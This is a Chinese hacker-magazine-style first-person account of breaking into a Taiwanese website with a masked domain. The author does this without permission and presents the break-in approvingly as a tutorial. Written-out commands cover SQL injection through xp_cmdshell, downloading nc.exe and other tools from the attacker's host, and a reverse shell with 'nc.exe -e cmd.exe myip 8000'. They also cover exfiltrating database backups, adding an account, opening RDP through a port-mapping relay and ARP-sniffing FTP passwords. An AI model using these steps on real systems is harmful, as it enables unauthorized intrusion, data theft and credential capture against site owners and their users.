网络安全入侵过程中简单任务操作步骤

手有点痒，便随便逛了几个TW的网站，想找一个有价值的站点玩玩。盯上了这个网站。

习惯性地在“报名账号”处填入了一个单引号，结果返回了这样的信息：

SQL Server 的 Microsoft OLE DB 提供者 (0x80040E14) 遗漏字符字符串 '' 前面的引号。 /rdshow/modify.asp, line 5

看来是存在注入漏洞的，先看看权限如何。继续在登录口输入 ' and user>0 and ''='，问题出现了：无法完整输入。网页对输入长度做了限制。这倒不难解决——保存网页，修改源代码中的两处：一是把 Action="modify.asp" 改为指向完整URL的 Action="http://www.xxx.org.tw/rdshow/modify.asp"；二是把输入字符长度的 maxlength="10" 改为 100。这下可以不受限制地随便输入了。将刚才的代码完整输入后得到：

SQL Server 的 Microsoft OLE DB 提供者 (0x80040E07) 将 nvarchar 数值 'dbo' 转换成数据型别为 int 的数据行语法错误。 /rdshow/modify.asp, line 5

有戏。但这样注入太麻烦，再看看网页源代码，如果能将注入漏洞转化成URL形式，就可以用NBSI之类的工具，大大简化注入过程。转化后的URL为 http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k。

现在WEB和SQL的主机分开的情况很多，先看看数据库的IP地址。打开天网，然后在IE提交：http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec master.dbo.xp_shell' ping myip';--。从天网的报警日志看出数据库的IP地址为210.208.xxx.253，而Ping www.xxx.org.tw得到的IP却是210.208.xxx.32，果然是分属两台主机。不过从IP分布看，这两台主机处于同一个网段，只要攻下数据库主机，要渗透到WEB服务器也不是难事（后来证明确实如此）。

先用Superscan扫描一下数据库主机开了些什么端口。

小提示：先对数据库服务器扫描的好处很多——可以探测对方是否开了防火墙，是否有FTP或WEB服务，这样才能确定下一步该怎么注入。

扫描结果是数据库有防火墙。想法是先上传一个NC上去，得到一个反向Shell再说。尝试了很多方法才传上去：先用Tftp没成功，FTP也没成功。如果数据库有WEB服务的话还可以写入一个WebShell，可惜没有。没有办法，只好写一个Iget.vbs，让对方下载我WEB服务器上的NC。

决定后就这样做。继续在IE提交一系列命令，用 exec master.dbo.xp_cmdshell 逐行写入VBS脚本。脚本内容通过 echo 命令写入 c:\winnt\system\p.vbs，用于从远程下载文件。

VBS写入成功后，用NBSI2自带的NB command命令执行器确认文件已存在。接着上传Tlist、NC、Kill等工具：

http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs http://myip/nc.exe nc.exe';--
http://... 'c:\winnt\system\p.vbs http://myip/kill.exe kill.exe';--
http://... 'c:\winnt\system\p.vbs http://myip/tlist.exe tlist.exe';--

现在可以利用上传的NC得到一个反向Shell。先在本机用NC监听8000端口：nc.exe -l -v -p 8000，然后在IE提交：

http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec master.dbo.xp_cmdshell 'c:\winnt\system\nc.exe -e cmd.exe myip 8000';--

这样我们就获得了一个CmdShell。

为什么上传Tlist？因为想知道对方用的是什么杀毒软件，才能做到有的放矢。另外，最开始在绕过防火墙时调用了FTP，为了不让对方怀疑，必须把FTP进程Kill掉，需要Tlist查看PID。Tlist的结果是对方用的诺顿。

小提示：获取对方系统的杀毒软件对后面的入侵很有帮助。不同的杀毒软件对不同的黑软定义的特征码不一样——某些黑软不被金山查杀，不代表可以瞒过诺顿，反之亦然。

麻烦来了：手头没有诺顿的特征码，只会找瑞星的。想传几个反弹木马上去的想法只好放弃。上去溜了一圈，发现D盘下面有不少数据库的备份，想先Down下来。但新问题又出现了：Tftp和HTTP不能用，对方有硬件防火墙，而Iget.vbs只能下载没法上传，反弹木马可以实现上传，但对方又有杀毒软件……思路陷入困境。一筹莫展之际想到了饭哥，他应该有点好东西能解决这个问题。把大概情况说了之后，他给了我一个自己写的小工具：HttpPut。这个工具可以将对方的文件传到自己的电脑上来，简单方便。用法：HttpPut.exe [URL] [PutFilePath]，示例：HttpPut.exe http://hostname/images/ c:\p.txt。

先传了几个Word文件，一切正常。但传到后面较大的数据库文件时却不稳定，Shell很容易挂掉，尝试了很多次都这样。进程里多了X个Cmd.exe，幸好有Tlist和Kill，把挂掉的CMD一个一个地Kill掉。

又一次陷入困境。本来想再去各大黑客网站找最新的反弹木马，但老天偏不作美，找了半天都找不到一个满意的。就在快绝望的时候眼前突然一亮：NC不就可以突破防火墙传文件吗？不然怎么叫瑞士军刀？看来是骑驴找驴了。NC的高级应用里面有传文件的方法：

nc -vv -l -p port > pathfile
nc -d myip port

用Winrar将所有文件（5个）打包为自解压的exe，并将“高级自解压选项”中的“解压后运行”设置为 _wpcap_.bat，命令行版的Winpcap安装包就制作完成了。

以上方法只是参考。此时有了另外更简单方便的思路：给数据库主机开终端服务，这样无论是传东西还是继续向内网渗透都会方便很多。有人会问：即使有权限添加账号能开终端服务，但对方有防火墙怎么连接？这个问题其实很好解决——VIDC类软件可以将内网端口映射到公网IP端口，我们只需要连接公网IP就可以连到内网。这里用的是yyc写的VIDC软件的修改版。

小知识：yyc写的VIDC修改版分客户端和服务器端。服务器端Idc.exe在具有公网IP的肉鸡上运行，使用默认8080端口通信，直接在肉鸡运行即可。客户端包括vIDCc.exe、vIDCc.DLL和xl.ini文件，按INI文件里的配置自动连接绑定端口。INI内容示例：

Serverip=公网IP
Serverport=8080
Cip=127.0.0.1
Bport=21|80|3389
Yport=7779|7776|7778

先用Iget.vbs将这些东西传上去，然后在CmdShell里添加一个账号，再写一个BAT开启3389，等电脑重启后上去运行vIDCc.exe。成功！只要登录肉鸡的7778端口就可以访问内网数据了。

现在可以在图形界面下安装Winpcap，我们已经完全控制了数据库。但任务还没完，先看看能不能嗅探到WEB服务器的信息。执行 tracert 210.208.xxx.32（WEB服务器的地址），返回结果看来有戏。装好Winpcap，开始ArpSniffer。嗅探命令：ArpSniffer [/RESET]。这里监听21端口：

Arpsniffer 210.208.xxx.1 210.208.xxx.32 21 c:\winnt\system\pass.txt 1

接下来就是等待了。不过臭要饭的急着催文章，截稿时还没有结果。如果大家有兴趣，下期再聊。这次简单任务也该结束了，下期见！